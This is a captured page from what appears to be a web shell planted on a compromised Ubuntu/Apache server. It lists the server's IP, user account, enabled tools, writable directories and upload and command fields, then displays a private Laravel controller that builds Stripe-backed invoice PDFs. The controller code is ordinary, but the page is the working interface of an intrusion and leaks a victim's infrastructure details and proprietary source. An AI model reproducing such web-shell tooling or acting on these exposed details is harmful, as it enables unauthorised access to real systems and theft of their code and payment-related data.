403Webshell
Server IP : 138.197.107.151  /  Your IP : 216.73.217.7
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux BloxBy-Builder 6.8.0-71-generic #71-Ubuntu SMP PREEMPT_DYNAMIC Tue Jul 22 16:52:38 UTC 2025 x86_64
User : wpbetasites_mrakzqskir ( 1022)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/silversharkadmindev/app/Http/Controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/silversharkadmindev/app/Http/Controllers/InvoiceController.php
<?php

namespace App\Http\Controllers;

use Illuminate\Http\Request;
use Stripe\Stripe;
use Stripe\Checkout\Session;
use App\Models\PricingPlan;
use App\Models\Order;
use App\Models\Payment;
use App\Models\Website;
use Stripe\Webhook;
use Stripe\Subscription;
use Stripe\Invoice;
use Carbon\Carbon;
use Symfony\Component\Process\Process;
use Symfony\Component\Process\Exception\ProcessFailedException;
use App\Helpers\EncryptionHelper;
use Dompdf\Dompdf;
use Dompdf\Options;

use Validator;
use Mail;

class InvoiceController extends Controller
{
    public function downloadPdf(Request $request, $id){

        
      ini_set("max_execution_time", -1);

      $payment = Payment::where("id", $id)->first();

      
      $invoice_id = $payment->stripe_invoice_id;

      $billing = null;

      $payment_method = null;

      //$invoice_id == null && 
      if($payment->stripe_transaction_id!=null){
         $stripe = new \Stripe\StripeClient(
            env('STRIPE_SECRET')
        );
        $transaction = $stripe->balanceTransactions->retrieve(
            $payment->stripe_transaction_id,
            []
        );
        if($transaction->source){
          $charge = $stripe->charges->retrieve(
            $transaction->source,
              []
          );
          if($charge->billing_details){
            $billing = $charge->billing_details;
          }
          if($charge->payment_method_details){
            $payment_method = $charge->payment_method_details;
          }
          if(@$charge->invoice){
            $invoice_id = $charge->invoice;
          } else {
            $pi = $stripe->paymentIntents->retrieve($charge->payment_intent, []);

            if(@$pi->invoice){
              $invoice_id = $pi->invoice;
            }
          }
        }
      }
      if($invoice_id){
        $payment->stripe_invoice_id = $invoice_id;

        $payment->save();
      }

      if($payment->stripe_invoice_id){

          $stripe = new \Stripe\StripeClient(
              env('STRIPE_SECRET')
          );
          $stripe_invoice = $stripe->invoices->retrieve($payment->stripe_invoice_id,[]);

          $payment->stripe_invoice = $stripe_invoice;

          if($stripe_invoice->charge && $stripe_invoice->charge!=null){
              $stripe_charge = $stripe->charges->retrieve($stripe_invoice->charge,[]);

              $payment->stripe_charge = $stripe_charge;

          }
          if($stripe_invoice->purchase){
            $billing = $stripe_invoice->purchase->billing_address;
          }
      }

        if(!$payment){
            return response()->json(["success" => true, "message"=>"Invoice not found"], 404);    
        }
        $logoPath = "http://localhost/pdf/bloxby_white_bg.png";

         $logoPath = url("bloxby_white_bg.png");

        
        
        $html = view("invoices.pdf")->with(["payment" => $payment, 'billing'=>$billing, 'payment_method'=>$payment_method, 'logoPath' => $logoPath])->render();

        $options = new Options();
         $options->set('defaultFont', 'Helvetica');
        $options->set('fontCache', storage_path('fonts')); 
        $options->set('tempDir', storage_path('fonts'));
        
        
        $options->set('isRemoteEnabled', true);

        $dompdf = new Dompdf($options );
        $dompdf->loadHtml($html);


        // (Optional) Setup the paper size and orientation
        $dompdf->setPaper('A4', 'portrait');

        // Render the HTML as PDF
        $dompdf->render();

        //header('Content-Type: application/pdf');

        header('Access-Control-Allow-Credentials: true');

        $url = config('settings.FRONT_APP_URL');

        // Check if the URL ends with a slash and remove it
        if (substr($url, -1) === '/') {
            $url = substr($url, 0, -1);
        }

        header('Access-Control-Allow-Origin: '.$url);

        header('Access-Control-Expose-Headers: Content-Disposition');

        // Output the generated PDF to Browser
        $dompdf->stream("Receipt_".date("d-m-Y", strtotime($payment->paid_at)).".pdf",["Attachment" => false]);

    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit